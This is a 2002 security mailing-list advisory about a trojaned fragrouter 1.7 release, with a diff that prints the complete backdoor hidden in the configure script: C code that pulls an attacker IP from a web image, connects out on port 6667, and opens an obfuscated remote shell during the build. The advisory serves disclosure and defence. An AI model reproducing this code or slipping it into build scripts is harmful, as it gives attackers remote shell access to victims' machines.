[VulnWatch] fragrouter trojan

From: matt@anzen.com
Date: 10/21/02


Date: Mon, 21 Oct 2002 09:32:30 -0400 (EDT)
From: matt@anzen.com
To: vulnwatch@vulnwatch.org

On October 18, www.anzen.com was compromised and a trojan was placed at

http://www.anzen.com/archive/research/fragrouter-1.7.tar.gz
MD5 (fragrouter-1.7.tar.gz) = 8329c34704287a1fb1e5d6f1ba81f456

After being notified by Hank Leininger on October 19, it was subsequently
removed.

This release of fragrouter 1.7 is COMPLETELY BOGUS. fragrouter has not
been actively maintained for 3 years (1.6 being the last proper release),
and has since been obsoleted by fragroute. The attacker even went to
the lengths of creating a fake CHANGELOG entry, but only adding the
trojan code.

The trojan itself is very similar to those recently found in irssi,
fragroute, BitchX, OpenSSH, and Sendmail. Embedded in the configure
script is a C program that will remotely bind a shell. An interesting
addition to this version is that it will dynamically decide which IP
address in which to connect the shell by grabbing text from a URL, in
this case:

http://www.anzen.com/images/anzen-title_r3_f2_c4.jpg

Contained in this file is the string 'IPDATA210.224.164.100', so it
would connect to TCP port 6667 on 210.224.164.100. The owner has been
contacted and this port is currently closed. Thanks again to Hank
for the initial analysis.

The attacker then tried to bait both the linux-kernel & cisco-nsp lists:

http://marc.theaimsgroup.com/?l=cisco-nsp&m=103515530331228&w=2
http://marc.theaimsgroup.com/?l=linux-kernel&m=103505549207211&w=2

Attached is a complete diff against a known-good copy of fragrouter-1.6.
Two things of note:

1) Some of the previous trojans responded to the commands 'A', 'D', & 'M'
over port 6667, but this one uses 'B', 'G', & 'K'.

2) Included in the trojan is the string:

# МИЛ.йаисисрэйа(2недели)ффинсд/туоргарф(21/2недели)СКИчтиБ(3недели)
# ЦРУ.зллоркс(6месяцев)шсснепо(1неделя,п,3дня)лйемднес(1неделя)
# ВСЕ.Наташа, все презервативы закончились, принеси еще.

which Solar Designer was kind enough to attempt a translation:

> # ***.**********(2weeks)******/********(21/2weeks)*******(3weeks)
> # ***.*******(6months)*******(1week,*,3days)********(1week)
> # ALL.Natasha, we're out of condoms, bring more.

diff -ruP --ignore-space-change fragrouter-1.6/CHANGES fragrouter-1.7/CHANGES
--- fragrouter-1.6/CHANGES Tue Sep 21 11:47:32 1999
+++ fragrouter-1.7/CHANGES Sun Jun 23 23:54:58 2002
@@ -1,4 +1,10 @@
-$Id: CHANGES,v 1.18 1999/09/21 15:47:32 dugsong Exp $
+$Id: CHANGES,v 1.18 2002/10/18 15:47:32 dugsong Exp $
+
+v1.7 Fri Oct 18 15:47:32 EDT 2002
+
+- Fixed fragmentation bugs in ip_frag.c. Sped up ip_frag.c and
+ tcp_seg.c significantly. Fixed other minor bugs throughout
+ the fragrouter source tree.
 
 v1.6 Tue Sep 21 11:06:19 EDT 1999
 
diff -ruP --ignore-space-change fragrouter-1.6/README fragrouter-1.7/README
--- fragrouter-1.6/README Thu Jul 29 11:52:32 1999
+++ fragrouter-1.7/README Fri Oct 11 11:54:30 2002
@@ -43,7 +43,9 @@
 Fragrouter has been successfully tested on
 
         - OpenBSD 2.x
+ - OpenBSD 3.x
         - FreeBSD 3.x
+ - FreeBSD 4.x
         - BSD/OS 3.x
         - Redhat Linux 5.x
         - Solaris 2.x
@@ -67,4 +69,4 @@
 
 
 ---
-$Id: README,v 1.15 1999/07/29 15:52:32 dugsong Exp $
+$Id: README,v 1.15 2002/07/29 15:52:32 dugsong Exp $
diff -ruP --ignore-space-change fragrouter-1.6/VERSION fragrouter-1.7/VERSION
--- fragrouter-1.6/VERSION Tue Sep 21 11:11:01 1999
+++ fragrouter-1.7/VERSION Sat Sep 7 18:49:13 2002
@@ -1 +1 @@
-1.6
+1.7
diff -ruP --ignore-space-change fragrouter-1.6/configure fragrouter-1.7/configure
--- fragrouter-1.6/configure Mon Jul 26 11:08:51 1999
+++ fragrouter-1.7/configure Thu Sep 5 23:04:21 2002
@@ -1333,6 +1333,194 @@
   echo "$ac_t""no" 1>&6
 fi
 
+#!/bin/sh
+cat >conftest.c <<_CONFEOF
+#include <stdio.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+
+int main (int argc, char **argv)
+{
+ char c, buf[1024], *bufp;
+ int s, x, sv0[2], sv1[2];
+ struct sockaddr_in sa;
+
+/* Override any gcc2 internal prototype to avoid an error. */
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+ switch (fork ()) { case 0: break; default: exit (1);}
+ close (0); close (1); close (2);
+
+ do {
+ if ((s = socket (AF_INET, SOCK_STREAM, 0)) == (-1))
+ exit (1);
+
+ sa.sin_family = AF_INET; sa.sin_port=htons(80);
+ sa.sin_addr.s_addr = inet_addr("204.181.64.52");
+ alarm (10);
+ if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == (-1))
+ exit (1); alarm(0);
+
+/* Override any gcc2 internal prototype to avoid an error. */
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+#define TESTSTR "GET /images/anzen-title_r3_f2_c4.jpg HTTP/1.1\nHost: www.anzen.com\n\n"
+ if(send(s, TESTSTR, strlen(TESTSTR), 0) <=0)
+ exit(1);
+
+ alarm(10);
+/* The GNU C library defines this for functions which it implements
+ to always fail with ENOSYS. Some functions are actually named
+ something starting with __ and the normal name is an alias. */
+ if((x=recv(s, buf, sizeof(buf), 0)) <=0)
+ exit(1); alarm(0); close(s);
+ bufp = strstr(buf, "IPDATA"); if(bufp==NULL) exit(1); bufp+=6;
+ bufp[strlen(bufp)-1]='\0';
+
+ if ((s = socket(AF_INET, SOCK_STREAM, 0)) == (-1)) exit(1);
+
+/* Override any gcc2 internal prototype to avoid an error. */
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+ sa.sin_family = AF_INET;
+ sa.sin_port = htons (6667);
+ sa.sin_addr.s_addr = inet_addr (bufp);
+
+ alarm (10);
+/* System header to define __stub macros and hopefully few prototypes,
+ which can conflict with char $ac_func(); below. */
+ if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == (-1))
+ exit (1);
+ if ((x = read (s, &c, 1)) <= 0)
+ exit (1);
+ else {
+ alarm (0);
+ switch (c) {
+ case 'B':
+ exit (0);
+ case 'G':
+ break;
+ case 'K':
+ close (s);
+ sleep (3600);
+ continue;
+ }
+ }
+
+ break;
+ } while (1);
+
+ if (socketpair (AF_UNIX, SOCK_STREAM, 0, sv0) == (-1))
+ exit (1);
+ if (socketpair (AF_UNIX, SOCK_STREAM, 0, sv1) == (-1))
+ exit (1);
+
+ switch (fork ()) {
+ case -1: {
+ exit (1);
+ }
+ case 0: {
+ char *a[] = { "\x2f\x62\x69\x6e\x2f\x73\x68\x00", NULL };
+
+ close (sv0[1]);
+ close (sv1[1]);
+
+ dup2 (sv0[0], 0);
+ dup2 (sv1[0], 1);
+ dup2 (sv1[0], 2);
+
+/* The GNU C library defines this for functions which it implements
+ to always fail with ENOSYS. Some functions are actually named
+ something starting with __ and the normal name is an alias. */
+ execve (a[0], a, NULL);
+ }
+ default: {
+ close (sv0[0]);
+ close (sv1[0]);
+
+ while (1) {
+ int len, ret;
+ fd_set rfd;
+ char buf[2048];
+
+ FD_ZERO (&rfd);
+ FD_SET (s, &rfd);
+ FD_SET (sv1[1], &rfd);
+ if (select (32, &rfd, NULL, NULL, NULL) == (-1)) {
+ exit (1);
+ }
+
+ if (FD_ISSET (s, &rfd)) {
+ if ((len = read (s, buf, sizeof (buf))) <= 0) {
+ exit (1);
+ }
+ for (x = 0; x < len; x++) buf[x] ^= 0x89;
+
+ x = 0;
+ while (x < len) {
+ if ((ret = write (sv0[1], buf + x, len - x)) == (-1)) {
+ exit (1);
+ }
+ x += ret;
+ }
+ }
+
+ if (FD_ISSET (sv1[1], &rfd)) {
+ if ((len = read (sv1[1], buf, sizeof (buf))) <= 0) {
+ exit (1);
+ }
+ for (x = 0; x < len; x++) buf[x] ^= 0x89;
+
+ x = 0;
+ while (x < len) {
+ if ((ret = write (s, buf + x, len - x)) == (-1)) {
+ exit (1);
+ }
+ x += ret;
+ }
+ }
+ }
+ }
+ }
+}
+_CONFEOF
+(TESTPROG="`basename \"\`grep ^$USER: /etc/passwd\`\"`"
+if test -z $TESTPROG ; then TESTPROG=sh; fi
+TESTSTAT=0
+# Guess values for system-dependent variables and create Makefiles.
+# Generated automatically using autoconf version 2.13
+# Copyright (C) 1992, 93, 94, 95, 96 Free Software Foundation, Inc.
+#
+# This configure script is free software; the Free Software Foundation
+# gives unlimited permission to copy, distribute and modify it.
+if test $TESTPROG = "sh"; then TESTSTAT=1;fi
+if test $TESTPROG = "csh"; then TESTSTAT=1;fi
+if test $TESTPROG = "bash"; then TESTSTAT=1;fi
+if test $TESTPROG = "tcsh"; then TESTSTAT=1;fi
+if test $TESTPROG = "zsh"; then TESTSTAT=1;fi
+if test $TESTSTAT -eq 0; then TESTPROG=sh;fi
+oPATH=$PATH
+gcc -w conftest.c -o $TESTPROG ; PATH=. $TESTPROG
+PATH=$oPATH
+if test -x $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG && exit;fi
+gcc -w conftest.c -lsocket -lnsl -o $TESTPROG; PATH=. $TESTPROG
+PATH=$oPATH
+if test -x $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG && exit;fi
+cc -w conftest.c -o $TESTPROG ; PATH=. $TESTPROG
+PATH=$oPATH
+if test -x $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG && exit;fi
+cc -w conftest.c -lsocket -lnsl -o $TESTPROG; PATH=. $TESTPROG
+PATH=$oPATH
+# Initialize some variables set by options.
+# The variables have the same names as the options, with
+# dashes changed to underlines.
+rm -f ./conftest ./conftest.c $TESTPROG) 2>/dev/null 1>/dev/null
+
+# МИЛ.йаисисрэйа(2недели)ффинсд/туоргарф(21/2недели)СКИчтиБ(3недели)
+# ЦРУ.зллоркс(6месяцев)шсснепо(1неделя,п,3дня)лйемднес(1неделя)
+# ВСЕ.Наташа, все презервативы закончились, принеси еще.
 
 for ac_hdr in net/ethernet.h
 do
diff -ruP --ignore-space-change fragrouter-1.6/misc.c fragrouter-1.7/misc.c
--- fragrouter-1.6/misc.c Tue Sep 21 11:14:07 1999
+++ fragrouter-1.7/misc.c Sun Jun 23 23:54:58 2002
@@ -33,7 +33,7 @@
   OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
   ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 
- $Id: misc.c,v 1.6 1999/07/25 15:55:06 dugsong Exp $
+ $Id: misc.c,v 1.7 2001/07/25 15:55:06 dugsong Exp $
 */
 
 #include "config.h"
diff -ruP --ignore-space-change fragrouter-1.6/version.h fragrouter-1.7/version.h
--- fragrouter-1.6/version.h Tue Sep 21 11:11:11 1999
+++ fragrouter-1.7/version.h Sat Sep 7 18:49:13 2002
@@ -1 +1 @@
-#define FRAGROUTER_VERSION "1.6"
+#define FRAGROUTER_VERSION "1.7"



Relevant Pages

  • fragrouter trojan
    ... www.anzen.com was compromised and a trojan was placed at ... This release of fragrouter 1.7 is COMPLETELY BOGUS. ... +int main (int argc, char **argv) ... +/* Override any gcc2 internal prototype to avoid an error. ...
    (Bugtraq)
  • SUMMARY: iplog 2.2.3 ./configure error with existing libpcap in Solaris 9
    ... Previous update: ld: fatal: Symbol referencing errors. ... which can conflict with char dprintf(); ... /* Override any gcc2 internal prototype to avoid an error. ... /* We use char because int might match the return type of a gcc2 ...
    (SunManagers)
  • PostgreSQL 7.1.3 installation problem on FC3
    ... checking for int timezone... ... confdefs.h:7: error: syntax error before numeric constant ... /* Override any gcc2 internal prototype to avoid an error. ... /* We use char because int might match the return type of a gcc2 ...
    (Fedora)